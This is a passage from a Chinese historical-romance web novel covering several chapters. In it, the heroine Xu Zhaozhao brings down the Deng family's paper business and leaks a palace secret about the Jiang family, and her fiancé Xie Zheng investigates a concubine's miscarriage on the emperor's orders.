谢铮看出她的疑惑,耐心解释道:“其实我们刚刚找到她的时候,她不这样。可能那个时候也是遭了太多罪,所以整个人都是小心翼翼的,别说是使唤下人了,她恨不能什么事情都自己做,就是怕挨打。 后来我和齐云泽商议,便将她就近安置在了冀州,其实也是觉得冀州有我在,方便护着她,至少能让她过太平日子。” 说到这里,谢铮的脸色明显不太自然,而一旁的许昭昭看似面色如常,实则心里头正在怒骂谢铮是个烂好人呢! 呵,还护着她? 干脆把她养在自己身边不是更能护着她? 不过就是恩人之女而已,你都想法子为其平反了,还怕多收一个女人? 许昭昭内心想法层出不穷,但是表面上却是不动如山。 谢铮一时间也拿不准主意,不确定小媳妇到底是不是生气了。 “那个,其实我也没有别的意思。而且就算是将她安置在冀州了,我也没有见过她几次。一来是因为军营忙碌,我不可能有太多时间出营;再者男女有别,我时刻谨记是有未婚妻的人,所以轻易不会与其见面。” “那就还是见了!” 一句话,不轻不重,不痛不痒。 但就是让谢铮莫名地心底泛凉。 “昭昭,你听我解释,我是见她了,但我没有单独见。每回都是有人陪着的。而且她身边也有她自己的仆从。除了那位老仆之外,还有一个小丫环。不过在她这次赴京的路上,那个小丫环死了。” 许昭昭没说话,这种事情,越是管着,越是闹腾得厉害。 而且她现在也没有什么立场管,还没嫁过去呢,做不得人家屋里头的主。 “你刚刚的意思是,她先前也是被家中变故而折磨得小心且畏惧,但是在冀州过了几天太平日子后,便又故态萌发?” 谢铮一时噎住,好一会儿才道:“其实我不知道她以前是不是这样的性子,毕竟我以前跟她也不熟。” 许昭昭一个眼神过来后,谢铮立马改口:“不是不是!我的意思是,我现在跟她也不熟。我以前就只是匆匆见过一两面,没怎么说过话。” 许昭昭翻个白眼儿,这解释听着就费劲! 谢铮暗恼自己嘴笨,明明在军营的时候,他能把那些个手下训得跟孙子似的,怎么在小媳妇面前这嘴就不好使了呢? “好了,不相干的人,莫要再说了,我也不在乎。只是麻烦你提醒她,莫要再出现在我眼前。” “好。” 许昭昭对于他的干脆还有几分意外:“你不觉得我无理取闹,或者是我过于盛气凌人了吗?” 谢铮摇头,一脸诚恳:“当然不会!这明明就不是你的问题。你救了程媛,按理说她应该奉你为救命恩人好好拜谢才是。只是她却对你口出狂言,毫无敬意,她不配让你对她好。” 许昭昭挑眉,这下子对谢铮真是刮目相看了。 要是这么说来,这个谢三郎是时时刻刻都有脑子,不是那等只知道心疼美人的渣男呀! “你这话着实让我意外,我以为你会站在程媛那一边的。” “怎么会?我原本就不耐烦搭理她,要不是因为程公的案子还需要她,我连看她一眼都嫌浪费时间。而且她对你的态度不好,就是对我不好。我又不傻,怎么可能会怪你呢!” 这话让许昭昭舒心极了。 还不错啊! 虽然她没把程媛当成对手,但是谢铮能毫不犹豫地站在自己这一边,足见他是真地在意自己的。 很好! 希望他能继续保持。 “你这话说得好,我很欢喜!只是希望你能记住今天的话,也能记得今天你是如何站在我这边的。若是日后也有类似情形,我希望你能记起今日。” 一番话,把谢铮说得有些懵。 “哦。” 他哪里知道,许昭昭这是已经在心里预设了日后的婚姻中,定然会有各种各样的女子凑过来,谁知道谢铮还会不会再向着她呢? 许昭昭这是先给他打一剂预防针呢! 百果园的诗会之后,果然便引起了一股风潮。 邓暄自然第一时间就怀疑到了许昭昭,但是他派出去的人将调查结果呈上来时,他又迷茫了。 “老爷,小的很确定,这些纸笺早在数日前就已经在各铺子里上货了,只是因为价格昂贵,所以寻常的书生们不会买,甚至只听价格后,便退避三舍。在百果园的赏花会之前,听闻乐阳郡主、刘公子等人都曾买过,只是买的没有那么多。” 所以说,一切只是巧合? 许昭昭是因为要操办宴会,且又皆为贵客,所以才想着尽善尽美,毕竟有宁朔公主这样的人物到场,许昭昭定然是所有的细节都不敢马虎的。 要是这么说的话,那这芍药笺的流行,就真的只是一个意外了? 邓家的产业如今大幅缩水。 莫说是支撑宫中的姜贵妃了,便是他们自己的日子都要过不下去了。 大兴朝对于官员、百姓的相应衣食住行都是做了规定的。 比如说以前邓暄是户部侍郎,所以他家中的仆从人数都是有规制的,不能过百,更准确地说,正四品官员,家中仆役为三十二人,不得逾制。 但因为有些人出身大族,家底殷实,所以多出十几二十个仆役,自然也没什么,但是一般而言,只要不是太过分,比如说不过百数,那么就不会有人查,也不会有人弹劾。 如今邓暄已是白身,家中早在他被革职后,便已经撤走了一部分的力课,如今家中钱财艰难,自然又要面临发卖奴仆的境况。 家中产业,那是尽量要保的。 邓夫人打起精神来,最终又发卖出一批奴仆,如此一来,在前院伺候的家丁也不过还余十来人,而各院的主子们,除了嫡出正房之外,余下的皆只留两名下人服侍。 邓暄不相信邓家会毫无来由地就此衰败下去,此刻他急需找到自己的敌人,想要弄清楚到底怎么样,才能将其击溃。 但他现在连自己的敌人究竟是不是安信侯府,都不能确定,还谈何报仇? 第160章 名声彻底坏了 邓大郎一口咬定,出手的就是许侯府。 可问题是,他们手上没有证据。 邓暄也怀疑是安信侯府所为,但没有证据是其一,更重要的是,这造纸作坊好像跟许家不沾边儿呀! 再说现在竹纸作坊越来越多,光是京城就有好几家,现在想要找出针对邓家的作坊,就更难了。 而且,能做造纸这一行的,必然是有些背景的。 就好比邓家,若邓家不是因为攀附权贵,又怎么可能一直稳稳当当地造纸? 说到底,还是得比谁的后台硬! 邓暄去姜府却屡屡碰壁,他担心姜家是要舍弃邓家,自然就愈发着急。 直到姜文鹤的再次登门,才让邓暄看到了希望。 二人在书房里谋划了半个时辰,最终姜文鹤离开时,志得意满,而邓暄也总算是松了口气。 没几日,邓暄的嫡女与一位四品大员的庶子定下亲事,且开始走六礼。 而定亲后的第二日,邓暄的一个庶女便被一顶小轿抬入了某位权贵之家的角门。 再之后,邓暄家的产业开始有回升的趋势,总算是让他安心几分。 邓暄不知道的是,他的产业之所以有所回升,也不过就是死前的回光返照罢了。 两个女儿的牺牲,换来的也不过是邓家几天的荣光而已。 邓家名下的书铺已经砍掉近半,甚至很大一部分直接将铺子给卖出去了。 如今余下的几家书铺,也只有京城的这几家有了好转,另外,他们的造纸坊出的纸张产量不增反降,这无形中,又增添了成本。 就在邓暄安排人即刻去加快造纸时,邓家出的藤纸竟然手指轻触即破的事情,一下子爆发出来。 邓家造纸坊经营多年,当然不可能犯如此低级的错误。 但是,只要这一天出的纸张中,有那么一小批有问题的,那带给邓家的打击就已经足够了。 邓家书铺门外,如今已经被众多的书生才子们给堵了个水泄不通! “退钱!你们这些黑心的商户,竟敢拿这等粗劣之物来糊弄人!还说是什么百年老字号呢,这纸莫说是写字,我只是伸手拿一下便能破,这简直就是欺人太甚!” “对!太欺负人了!我花了这么多钱买来的纸,却是不能用,这等奸商,就该送官法办!” “没错!送官!” “送官!严惩!” 事情越闹越大,越来越不受控。 如今市面上的纸张都在降价,邓家自然也不能例外。 但坏就坏在,邓家的造纸作坊产量更低了,且出的纸质量又出问题,这下子,自然就引起了众怒! 两个女儿换回来的那短暂的生意回暖,也一瞬间被打散! 邓家书铺的生意之所以有回暖,那是因为底下有人收到消息,知道邓家搭上了哪几位大人物,总会有人想着拐着弯的来捧一捧邓家的臭脚,照顾一下邓家生意。 谁能想到,竟会是这么一个结果呢? 邓家书铺里,若是有一千刀纸的存货中,出现十刀有问题的纸线,这个打击面就已经很广了,更何况,现实中他们有问题的纸张数量更多! 邓暄这边正在琢磨着要不要再慢慢将砍掉的那些书铺给重新开起来的时候,管家连滚带爬地过来报信了。 “什么?你说真的?这不可能呀!我们邓家造纸已传承百年,怎会如此?” “老爷,现在好几家书铺都被围了,还有两家的掌柜和小二都让人给打了。您快想想辙呀!” 邓暄只觉得眼前一黑,到这个时候了,他能有什么办法? 他本就不懂生意,原以为不过是简单的低买高卖就能赚钱,谁能想到会这样? “管家,快,你想想办法。无论如何,咱们邓家造纸不能倒呀!” 邓家造纸坊里,除了供应自家的书铺之外,自然也要往外销的,他们自己的书铺用量没那么大,而且销量也有限。 现在事情闹大了,先前有意与邓家合作的商贩必然会反悔! 但这还不是最紧急的。 眼下如何保住手底下那些人才是要紧。 “快,打开库房,抬去书铺,赔钱,咱们赔!” “爹,不能就这么赔呀,谁知道哪些人说的是真的,哪些人说的又是假的呢?”邓大郎急忙制止。 这种情况的发生,最容易让人混水摸鱼。 可邓暄知道,这种事想要压下来,不赔钱是不可能的,除非上公堂! 可现在那些人都敢闹上门去,那必然是真地出事了。 无论是有人不好好做工,还是因为被算计,总之,就是邓家自己出问题了,那些书生们可不会觉得是他们的错! “管家,你亲自去,就跟掌柜的说,让他们自己拿着那些纸回来,咱们只退有问题的,没有问题的一律不退。而且拿回来多少,就退多少。” “是,老爷。” 邓大郎松口气,若是如此,损失应该也不会那么大。 就算是有人能借机捞些好处,也是有限的。 邓暄此时想到了先前已经与他们签订契约的几个商户,脑子里快速转动着,一定不能再让这合作黄了呀。 可惜,天不遂人愿! 越是怕什么,就越是来什么。 几位商户陆续登门,都是因为这纸张问题,要取消与邓家的合作。 他们是做生意的,目的就是为了求财。 他们当初也是看在贵人的面子上,才会照顾邓家的生意,现在出了这种事,他们可不能白白扔钱呀。 他们宁可直接把钱送到贵人府上,也不可能花钱买一堆废纸回去。 最要紧的是,如此一闹,这邓家纸张的名声已经坏了,就算是自己进的货没问题,只怕那些固执又清高的书生们,也不会愿意再买了。 唉! 所以说,有时候人的能力和运气,缺一不可呀! 邓暄虽然极力说服,但最终还是没能保下这些合作。 这意味着,邓家造纸,极有可能会面临着关门歇业的结局。 邓暄一个站不稳,跌坐于榻上,没等邓大郎上前来劝慰,邓暄便觉得喉头腥甜,一个没忍住,噗! 邓暄喷出一口血后,人事不省! 第161章 是不是觉得太残忍了? 许昭昭这人,打小就是睚眦必报! 邓家人当初算计了她二哥,她就得把邓家人打到底! 得把邓家打疼了、打哭了、打垮了,要不然,她做梦都还在想着怎么给二哥出气! 这就是许昭昭。 邓家遭了这么大的难,知情者却是寥寥无几。 不是许昭昭隐瞒得太好,而是所有人都没有把一个小娘子当回事,谁会觉得许昭昭能有这等通天的本事? 若说这酿酒,的的确确是让众人惊艳了一把,但是这造纸和酿酒却是完全不搭边儿的。 所以,谁能想到许昭昭身上去? 就连谢铮都没想过,邓家垮台得这么迅速,竟然是许昭昭的手笔。 别人不会往许昭昭身上猜,但会往安信侯府身上猜。 有人猜这是许翰给儿子出气呢,也有人觉得许翰不是那种有脑子的人,十有八九是许君霆这个老三做的。 总之,邓家就是这么在众人眼中彻底地爬不起来了。 邓家遭此重创,再不敢言行放肆,连家仆出门都羞于启齿自己是邓家人。 许昭昭喝了一口茶,感觉还不错。 “邓家要离开京城了,应该也不需要多久,接下来,就轮到姜家了。咱们一步一步来,我不急,但原姜家也不要急呀。真急了,有些事情就不好玩儿了。” 许昭昭将手中的纸条直接燃尽,眼神中透着几分玩味,这个世界,也不是那么无趣,可以放手大胆地玩一玩了! 许昭昭提笔在纸上写写画画,姜文鹤、姜延平、姜宁、姜妩、姜玉? 许昭昭盯着最后一个名字,再想到自己得来的消息,眼睛微微眯起来,她好像知道应该先从何人入手了。 咔嚓! 很细微的声音,但是在寂静的夜里,就显得很突兀。 许昭昭慢悠悠地抬头,正对上刚进来准备落坐的谢铮。 “我们侯府是没有大门吗?还有,这紫园是女子内院,你怎么如此大胆?” 谢铮只是傻笑,抬手挠挠头,从里到外都透着一丝傻样。 傻吗? 谢铮当然不是真傻! 他只是每每对上了自己喜欢的姑娘,都有些不知所措。 但偏偏又胆大得很,总想着过来撩拨几下。 许昭昭没好气地白他一眼:“大晚上的过来,可是有急事?” 谢铮点头:“我之前奉命巡街,无意中看到了一个熟人,但我不确定是不是他。” 许昭昭定定地看了他一会儿才问:“永平坊?” 谢铮眸光瞪大:“你知道?” “你先说说你看到的是何人。” 谢铮没有犹豫:“姜延平。” 许昭昭笑了,正愁不知道该寻何人下手合适呢,谢铮就给送梯子来了。 “只你一人所见?” “还有两名校尉,我们一起巡街后,原本是打算分开的,没想到正好看到姜延平的马车出来,之后去了永平坊。” “京城有宵禁的规矩。是在落锁之前?” “嗯。他刚进入永平坊,便宵禁。” “这件事你别掺和,会有龙颜震怒!” 谢铮更好奇了。 这人有时就是如此,越不告诉你,越是想知道。 “姜延平豢养外室,且养了不止一处,没有记在姜家族谱上的子女,一只手数不过来,所以,你现在害怕了吗?” 谢铮瞪大眼睛,万万没想到竟然是这样的隐秘之事。 在大兴,官员豢养外室是大罪! 就算姜延平有一个太傅爹,还有一个贵妃妹妹也不行。 虽然不至于让他掉脑袋,但贬官削职是一定的。 “你怎会知道?” “上个月我去永平坊寻人,正好就遇上了。不过我当时未曾乘坐侯府的马车,所以他也不知道我正好就在那里。后来我差人打听过,姜延平光是在永平坊就养了两个女子,其中一个,女儿都已经十六岁了。” 谢铮做了一个吞咽的动作,好像还有些艰难,怎么也没想到,被无数学子文人们誉为士子清流的姜太傅家,竟然会养出这样的儿子。 先是一个姜延辉,那就不说了,着实给文人丢脸。 现在又来一个姜延平,姜家这到底是什么门风? 许昭昭的上身微微前倾,眼神中透着几分兴奋:“姜延平的外室女已经送入宫中了。” 又一个惊天大雷落在谢铮耳边,他只觉得自己好像是出现幻听了。 之后看到许昭昭那无比确定的眼神后,只觉得这个天都要塌了。 所以说,新入宫的那位姜宝林还是姜什么的,其实就是姜贵妃的亲侄女? 先前不说是族亲吗? 好歹只是族里沾着亲戚,所以即便是姑侄同侍一夫,也不算是多大的事。 结果现在却被告知,那二人竟是亲姑侄,这若是传出去了,只怕圣上的颜面要被人给扒干净了! 大兴朝虽说对男女大防不严苛,但还是重礼制的。 说句不好听的话,若是姜贵妃已逝,那么再有一姜氏女入宫服侍圣上,那也得是与姜贵妃平辈之人才合适,否则,姜贵妃所出的公主要如何称呼新上位的宠妃? 这不是乱.伦了吗? 谢铮苦笑:“昭昭,如此隐秘之事,你何苦告之于我?” “怕了?” 谢铮挺挺胸脯:“我谢三郎怕过谁?只是此事着实过了,万一被圣上……” “所以,你得想个法子将这个消息透露给安王,一个身负姜家血脉的皇子诞生,就意味着姜氏背后的所有资源都会向这位小皇子倾斜。你说安王和忠王,他们二人愿意看到这一幕吗?” 谢铮冷静下来,正好许昭昭递过来一杯茶,他看也没看,直接就往嘴里灌。 “我懂了,只是。” “只是那还只是一个胎儿,未曾来到这个世上,这样做是不是太残忍了?” 谢铮动作一顿,之后直直地看向许昭昭:“你不用这般试探我,我不是这个意思。我是担心他们的动作太大,到时候反而引起圣怒。现在朝中两位成年的皇子,也就只有他们二位,闹太大了,圣上脸上也不好看。” 许昭昭笑笑不语。 谢铮又饮一杯茶:“这件事我会安排好,你莫要再对任何人提及,便是许家人也不行,昭昭,我会办好这件事,怎么都不会绕到你身上来。” 第162章 姜贵妃可太狠了 谢铮的意思很直白,就是不想让许昭昭被牵扯进去。 哪怕日后圣上生疑,也只会怀疑到谢铮这里。 而谢铮是男子,他与几位好友吃酒说醉话,那是再寻常不过,所以又能如何呢? 可许昭昭却不答应。 谢铮见许昭昭摇头,立马就急了。 “你听我说,这里面的水很深,你只是一介闺阁小娘子,不该掺和进来。” 许昭昭见他是真地担心自己,只觉得这个谢三郎有时很智慧,有时又很莽,在她面前,更多的可能是傻。 “我不掺和,你也不能掺和。这件事,只能是安王和忠王的人去掺和,明白吗?” 谢铮呆了一瞬。 打仗他在行,但是官场上的一些事,他显然还是有些稚嫩。 而许昭昭是活了两世的人,而且又是从那个吃人的末世过来的,她的心性和见识,绝非现在的谢铮可比。 “你的意思是?” “你不需要做什么,这件事会有人散出去,消息也会送到两位亲王耳中,至于他们是否会对那位宫中娇客出手,就不是咱们能管得了的。” 谢铮听得一知半解,但是没好意思再问。 许昭昭今天晚上似乎是很有耐心,抬手将点心碟子往他的方向推一下,谢铮也几乎是不过脑子,直接拿起一块糕饼来就开吃。 许昭昭又给他倒一杯茶,省得再噎着。 “安王和忠王都非明主,如今圣上龙体康健,别的我不敢多说,但是再活十几年,是不成问题的,届时,会有更多的皇子成年。” 这句谢铮听明白了。 “嗯,你放心,我们谢家与许家一样,都是只忠于陛下!” 许昭昭见他明白自己的意思,当下便轻松了许多,同时也觉得日后嫁给这个谢三郎也不错,至少这人很聪明,而且还知道护着自己。 “三郎,你自己不站队,但是也要记得提醒谢氏族人,莫要被人利用才是。” 谢铮点头:“我明天就下令开始暗查,无论是钱财上,还是其它方面,都不能与这两位王爷有所牵扯。” “那好,接下来,我们就一起看看姜家是否会被圣上迁怒,姜贵妃是否真地能做到荣宠不衰。” 谢铮抬头与其对视,总觉得这个小媳妇的眼睛里看到的世界跟他看到的是不一样的。 还有,莫名就觉得现在的小媳妇身上的魅力大增,好像自己怎么努力,都移不开眼。 这样的小媳妇太诱人,也太让人想直接拐回家了! 两日后,忠王已经得知此事,再联想到成为自己侧妃的姜宁,他自然是不免会生疑。 忠王思量再三,还是决定试一试。 “王爷尝尝这个虾仁,口感不错,很新鲜。” 忠王与姜宁一起用过晚膳之后,便示意所有人下去。 姜宁还以为王爷是想与她一起翻红帐呢,没想到王爷此时却是面容愁苦。 “王爷可是遇到什么难处了?” 姜宁是重生之人,脑子里飞快地闪过能记起来的东西,但是并没有发现,这个时间节点,会有什么要紧事发生。 “宫中又新添了一位姜氏贵人,你应该知道吧?” 姜宁点头:“此事已非一两日,并不稀奇,可是她出什么事了?” “她如今已有身孕,日后若是能诞下龙子,那必然会得父皇宠爱。” 原来是因为这个,姜宁不以为然道:“妾还以为是什么大事呢。那不过就是姜氏旁系的一个女子罢了,就算是她生下龙子,我祖父也不会答应倾尽全族之力来助她的。再者,宫中人多眼杂,她这一胎能否顺利生下来都是个问题,王爷何必现在就这般惶惶?” 忠王见她这般有底气,只觉得她定然是知道姜家的打算的,若不然,怎会丝毫不慌? “如此说来,你知道姜贵妃会抚养一位龙子?” 姜宁愣了一下,随即反应过来忠王刚刚说的是什么意思,她自己也表情微怔,随即又快速地转动脑子,想着上辈子可没有姜氏族人进宫这一回事的。 这辈子的确是有了变化,但她一直觉得不会影响什么。 毕竟那个姜玉出身太差了些,能在宫里头活几天都不好说。 但是现在听完忠王的话,她觉得自己可能是小看姜玉,也小看姜家人的计划了。 “王爷,莫非是听说了什么?” 忠王两眼死死地盯着她:“这正是本王想要问你的,姜家到底是如何打算的?” 姜宁面对王爷的质问,不慌是不可能的,但她还是很快就冷静下来,毕竟现在姜玉肚子里的孩子可还没有生下来呢,所以,一切都还有机会。 “王爷,听您刚刚的意思,是说我姑姑会去母留子?” “这不是明摆着的吗?” “不对!我姑姑应该没有这个想法,而且就算是我姑姑真地想要扶植一位皇子,也没必要对着还未出世的孩子下手呀。宫中的皇子不少,只要她开口,皇上必然也不会答应的。” 这也正是忠王不解之处。 姜贵妃若是想要姜家的权势不倒,那扶植一位皇子是必然的。 所以,她为什么要选择一个未出世的孩子呢? 如今陛下已经是四十多岁的年纪,哪怕是再活十年,一个十岁的幼童,当真能得到朝中大臣的支持? 而且,上面这么多的兄长们,怎么也轮不到一个幼童呀! 忠王得到的消息,就是姜贵妃一直自责未曾生下皇子,担心日后不能再让姜家的富贵延续,所以才会想着借年轻的姜氏女肚子生出一个龙种来。 “姜贵妃手段高明,自她入宫后,便一直在御前极为得宠。若是她真地有心那个位置,就一定不会只在一条路上下注。” 姜宁立马茅塞顿开! “我明白了!王爷,那个未出世的孩子不过就是个幌子,我姑姑定然是故意将其推至前台,然后就看看到底有哪些人不愿意看到有姜家血脉的孩子出生,如此一来,岂非是就能达到钓鱼的效果了?” 忠王心里咯噔一下子,这么说,那个姜宝林只不过是一枚可怜的棋子? 若真是如此,那姜贵妃的心也太狠了! 毕竟,那可是她的娘家人呀。 第163章 螳螂捕蝉 许昭昭把事情做得很隐晦,也很高明。 忠王得到的消息,是姜贵妃有意借腹生子,最终去母留子,届时,她便等同于有了一个亲生的皇子,届时,再借助姜家的势力,那便有了一争之力。 而安王得到的消息则不然,安王得到的消息,应该说是更接近事实真相的。 安王得到了送入宫中的那位姜玉,实则是姜延平的外室女,换言之,便是姑侄二人共侍一夫,且如今姜玉还怀有身孕。 所以,宫中这对姜氏姑侄,最后活下来的到底是姜贵妃,还是那位新晋的娇客,还真地是说不准。 无论是谁,安王都不愿意看着她能顺利得产下皇子。 但是,安王比忠王还要多知道一个消息,就是忠王极有可能会对姜氏下手。 安王与几位幕僚琢磨出来一些门道后,这才将王府中的几位属官叫过来共同商议。 若只是幕僚,那是没有官职在身的,等同于一介白身。 而属官,那就是有品级在身,且王府长史,是有劝导、辅佐亲王之职的。 这么大的事情,安王当然不可能直接说出来,毕竟,他现在也不能确定这几位属官就真地是一心都在他身上。 最后,安王只留下了自己的舅舅曲世绩。 曲世绩是皇后的嫡亲兄长,自然是站在安王这一边的,而且他还是吏部主官,所以,有他的扶持,安王登顶之路才能更为顺畅。 曲世绩听完之后,面色大为惊诧:“王爷可确定?” “错不了。那人就在永平坊,而且我还听说,还有一个外室子。所以现在本王也拿不准,到底姜家是想要扶持姜贵妃,还是想要另行找人替代呢?” 曲世绩也是男人,而且他与陛下自幼相识,自认为对永安帝还是很了解的。 “殿下,陛下对姜贵妃的情谊,远非是美色。二人是少年情谊,若非是因为当年先皇赐婚,只怕如今的皇后就姓姜了。而且姜贵妃这么多年来一直荣宠不衰,足见陛下长情。” 安王眉头紧锁,他是嫡子,但又非长子,严格说来,他是更具有优势的。 但忠王纳了姜氏女为妾,这就不一样了。 他能感觉得到,如今朝中隐隐有人在向忠王靠近。 莫说是一个未出世的孩子了,便是已经五六岁的那些弟弟们,安王也都不曾放在眼里。 毕竟,如今他和忠王都已开府封王,已经开始接触朝政,再过上几年,就算是那几个弟弟长起来,也已经来不及了。 所以,安王心里头认可的对手,就只有一个忠王。 “舅舅说的没错,姜贵妃的确是得宠,但是母后那里,父皇也算是给足了敬重的。” 曲世绩点头,这倒也是。 无论是正式场合,还是其它方面,陛下都给予了皇后足够的尊重,而且统理后宫之权,这么多年,也一直都在皇后手中。 陛下虽然宠爱姜贵妃,但并非是昏君,不会因为美色而不顾礼法。 “殿下,咱们还是要求稳。我大兴开国以来,以嫡为贵,即使那忠王是长子,但嫡庶有别,仅这一项,那些文官们就不会站在他那边。” 文官更重礼法,嫡庶有别,向来都是以立嫡为准。 如今皇后育有三子,说句不中听的话,若是安王被舍弃,那还人嫡次子,再不行了,还有嫡三子,所以,只有嫡子都死光了,或者是都被陛下厌弃了,才会轮得到一个庶长子忠王。 但是这种话,曲世绩觉得没必要说。 毕竟另外两位皇嫡子现在还年幼,而且一直被教导得很好,对安王这个兄长也很敬重。 再怎么说也是一母同胞,所以曲世绩很认同安王的心思,最大的对手,就是忠王。 “殿下,既然如此,这件事,咱们就当是什么也不知道为好。” 安王不解:“舅舅何意?” “忠王既然有意动手,那就由着他去。万一事发,反而还会于咱们有利。” 安王瞬间领悟,不由得心情大好:“还是舅舅看得长远!” 正所谓螳螂捕蝉,黄雀在后。 安王这是觉得自己安心等待即可。 他还怕忠王不出手呢! 谢铮一连当差三天后,心里头还是有些不踏实,总觉得许昭昭有事瞒着自己,而且他更担心这件事情闹大后,会难以控制。 只不过,三天过去,也没有听说姜家闹出什么丑闻来,谢铮觉得自己可以把心放到肚子里了。 姜家是庞然大物,不是一两句话就能扳倒的。 说句不中听的话,除非是姜家叛国,否则,陛下不会对姜家做出重罚。 谢铮抬头看了一眼天空,觉得自己今日下值的时间也要到了,要不一会儿去哪间点心铺子转一圈,给昭昭带过去? 这一分心,忍不住就越想越多了。 谢铮甚至想着,自己是不是也该去为昭昭挑几件首饰,越贵重的越好! “谢少将军,陛下有旨,严守所有宫门,任何人不得随意进去,违令者斩!” “得令!” 谢铮没想到快要下值了,竟然还来活了。 没办法,立马安排人手,各处都开始戒严。 陛下的旨意,那就说明是宫里头出事了。 “陛下有旨,召中郎将谢铮进殿回话。” “是!” 谢铮稍微整理一下盔甲,大步向前。 “谢铮,即刻带人去刘太医家,朕要见到活着的刘太医,将其家眷严加看管!” “是!” 谢铮根本不知道发生了什么事,只知道他刚刚过来的时候,就闻到了血腥味儿。 而且,他注意到了殿外还有十余名宫人跪着,其中有好几个,看着像是姜贵妃身边伺候的。 所以,这是那位新晋的姜氏女出事了? 谢铮的动作很快,那位刘太医是被谢铮直接押到马上给拖进宫来的。 刘太医脸色惨白,刚一下马,就干呕几声,兴许是意识到这里是何处,所以最终还是忍下了。 直到谢铮再带着刘太医进殿回话,他才知道,姜宝林小产了。 不仅如此,听闻这位姜宝林还因为出血过多,导致伤及身子,日后都不可能再有子翤了。 谢铮垂眸,所以出手的到底是谁? 第164章 黄雀在后? 这件事闹得很大。 永安帝极为生气,他怎么也没想到,就在自己的眼皮子底下,一个未出世的孩子就被算计没了。 姜贵妃一脸惶恐,如今还跪在殿中,皇后则是一脸慈悲地坐在皇上身边,时不时地还要劝慰几句。 “陛下,您是一国之君,日理万机。这后宫之事,原就该当是妾来料理。姜宝林小产一事,是妾管理不力,妾定然会将事情查个水落石出,也给姜宝林一个交代。” 永安帝的怒火此时已经平息了不少。 “不过是一个宝林,何需让皇后来给交代!也是她自己不小心,入口的东西都不知道好好让人试试便直接吃,依朕看,也是她与子嗣无缘。” 这话听着太薄情了。 可事实也的确如此。 因为当初得知姜玉怀孕,所以永安帝还是很大方地送了许多赏赐,皇后也特意安排了两位有经验的姑姑过来照顾,结果倒是好,这位姜玉许是性子过于傲气,竟嫌弃被人管着不自在,不听劝,也不等宫人去试,便自己直接吃上了。 现在闹成这样,又能怪得了谁? 可不就是她自己不仔细吗? 话是这样说,但皇后也不可能当真,毕竟圣意难测,谁知道过一会儿皇帝会不会又改主意了呢? “陛下,总归是让姜氏受了委屈,当下还是要让她先养好身体,日后还要服侍陛下的。” 永安帝冷哼一声,又斥责几句之后,曲皇后和姜贵妃先后退出去。 “谢铮!” “臣在!” “刘太医的家眷就由你去审,朕倒要看看,到底是何人如此大胆,胆敢算计到朕的头上了!” “陛下,敢问要臣审问什么呢?” 谢铮是中郎将,可不是大理寺的人,亦非刑部,他是真觉得陛下用错人了。 但不敢直说,只能装傻充愣得问。 “就问问看刘家到底收了何人的好处,或者,直接查抄!” 谢铮不知道的是,这属于是皇室内斗的丑闻,永安帝不可能真地安排大理寺卿或者是刑部来查的。 一旦由他们介入,那岂非是昭告天下了? 所以,只能让谢铮去查,而且还得是秘密调查,不能向外吐露一个字! 谢铮觉得这活不好干。 可他又不敢抗旨,只能领命再次回到刘府。 刘太医这会儿被扣在宫中,估计就是在被皇后审问。 至于刘府这边,永安帝特意安排了一位内侍同行。 谢铮觉得有陛下的人跟着,这事就应该好办一些了。 一番查抄之后,谢铮将东西摆于内侍眼前:“本官已经问过了,此物是一位叫王静的夫人所赠,而这位王静,家住同安坊,在忠王府当差,但身上并无官职。而且刘家众人皆说并不认得王静,只是与其夫人有过几次来往。” 谢铮将几份供词呈上,连带着物证,请这位内侍一并带回宫中复命。 “劳烦公公走一趟,您辛苦一些,本官带人在此看守,如何处置,还得请圣裁。” “好,此处就辛苦谢小将军了。” 这么大的事,谢铮总觉得自己好像是窥探到了皇家秘辛,心里头有些烦燥。 很快,旨意下达,刘太医为姜宝林调养身体时开错药方,以致姜宝林滑胎,判斩刑,其家眷徒千里,查抄府邸,于次日离京! 这个速度可真够快的。 后面的事,有人接手,谢铮总算是能回家了。 但他心里不踏实,竟然又开始翻墙进入侯府。 这一次,没见到许昭昭,反倒是看到许侯爷手里头提着马槊立于紫园门口,那模样,像是专门等着攮谢铮这个采花贼的! 一看到未来岳父,谢铮就腿软,眼见着许侯拎着马槊朝他走过来,当下也来不及多想,扭头就跑。 呵呵,原路返回了! 气得许翰在原地破口大骂,大有一种要找上门去这个小子痛揍一顿的架势。 待确定谢铮走了之后,许翰这才将马槊甩给护卫,然后自己大摇大摆进了紫园,但也只是在院中隔着门跟许昭昭说了句话。 “天色不早了,你也少看会儿书,免得再坏了眼睛。今晚为父就在你的紫园门口守夜,保管让你睡得踏实!” 屋里的许昭昭只觉得哭笑不得。 父亲这是在恼谢铮,还是在恼自己呀! “父亲,天色已晚,您还是回去歇着吧。一会儿若是母亲寻来,可就不好了。” 许翰惧内,听得这话后,极为不满地瞪了女儿一眼:“哼!再让我发现那个死小子翻墙进来,我非得把他的腿打断!” 许昭昭笑着点头,然后上前扶着许翰的胳膊往外走:“是是是,父亲说的对,都是谢三郎不懂规矩,待日后您见了他,定要好好训斥他。” 见女儿还是向着自己的,许翰这心里头好受多了。 许翰是真地想要揍谢铮一顿,实在是这小子太不懂事了,都已经定亲了,若是想要见昭昭,那就光明正大地从大门进,许家又不是不让他进门,何必弄得这么鬼鬼祟祟的? 万一让人看见了,还得在外面败坏昭昭的名声! 谢铮次日当值时,就被许翰给骂了几句,因为是在宫里头,所以许翰还是尽力地控制着自己的嗓门儿。 “今天下值后去我家,昭昭孝敬我的新酒,我也请你尝一杯。记住了,大大方方地来,别弄得跟见不得人似的。” “是,岳父!” “嗯?” 谢铮一脸理所当然,并不觉得如此称呼有何不妥。 毕竟两人定亲许久,叫一声岳父并不过分。 但许翰就是不喜欢这样的称呼,总觉得自己应下了,女儿就好像是别人家的了,不舒坦! “哼!油嘴滑舌!” 谢铮咧嘴笑了,没敢笑出声。 当天晚上,翁婿二人连饮数杯,但因为是果酒,所以并不醉人。 “老三,你带着他去一趟紫园,不许让他们两个单独相处,给我盯好了,说话时长也不能超过一柱香,记住没?” “是,父亲。” 许君霆知道父亲的用意,他心里头也恨着谢铮这个混帐东西呢,凭什么就要把他的妹妹给拐走呀? 许君霆决定了,以后他们二人每回见面,自己都得从旁盯着,眼珠子都不带错一下的,就不信这小子敢做逾礼之事! 第165章 没用的东西! 许昭昭知道了宫中的处置结果,也知道此事基本上就等于是不了了之了。 但是她相信,皇后那里一定是还查到了什么,只是现在暂时不适合直接捅出来。 